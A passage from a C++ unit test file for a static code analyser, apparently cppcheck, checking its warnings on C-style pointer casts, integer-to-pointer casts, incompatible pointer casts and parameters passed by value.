*) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n 